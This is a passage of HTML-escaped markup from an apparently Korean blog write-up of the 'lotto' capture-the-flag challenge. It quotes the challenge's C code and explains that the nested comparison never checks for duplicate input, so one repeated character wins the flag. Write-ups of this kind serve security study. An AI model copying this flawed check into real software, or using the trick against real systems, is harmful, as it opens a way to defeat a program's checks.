&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lotto[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(lotto[i]&amp;nbsp;%&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;1&amp;nbsp;~&amp;nbsp;45&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(fd);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;사용자가 입력한 값(submit)과 /dev/urandom을 통해 얻은 의사 난수의 lotto를 비교한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 6글자가 같으면 match 1씩 증가시킨다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 여기서 문제가 발생하는데 lotto를 맞추기 위해서 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;중복을 신경쓰지 않는다&lt;/span&gt;는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 lotto 번호가 123456이고, 사용자의 입력이 222222이 가능하다 이러한 경우는 6개 모두 일치하는것으로 확인되어&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;match가 6이 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;calculate&amp;nbsp;lotto&amp;nbsp;score&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;match&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;j&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(j&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;j&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;j&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(lotto[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;submit[j]){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;match&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 match가 6이면 lotto_pwn의 권한으로 &quot;/bin/cat flag&quot;를 출력하고,&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아니라면 &quot;bad luck...\n&quot;을 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;win!&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(match&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/cat&amp;nbsp;flag&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;bad&amp;nbsp;luck...\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;즉, lotto와 submit array를 비교하는데 있어서 사용자의 입력을 중복 체크하지 않아서&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리는 높은 확률로 lotto에 당첨될 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1~45 사이의 ascii 문자를 입력하면 높은 확률로 성공 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;lotto로 선정된 6개의 byte에 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;+&lt;/span&gt;가 있다고 가정하고 공격을 진행한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 584px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995B26395C247A0C12&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995B26395C247A0C12&quot; width=&quot;584&quot; height=&quot;259&quot; filename=&quot;이미지 034.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 높은 확률로 운좋게 lotto에 당첨되어 flag를 획득할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 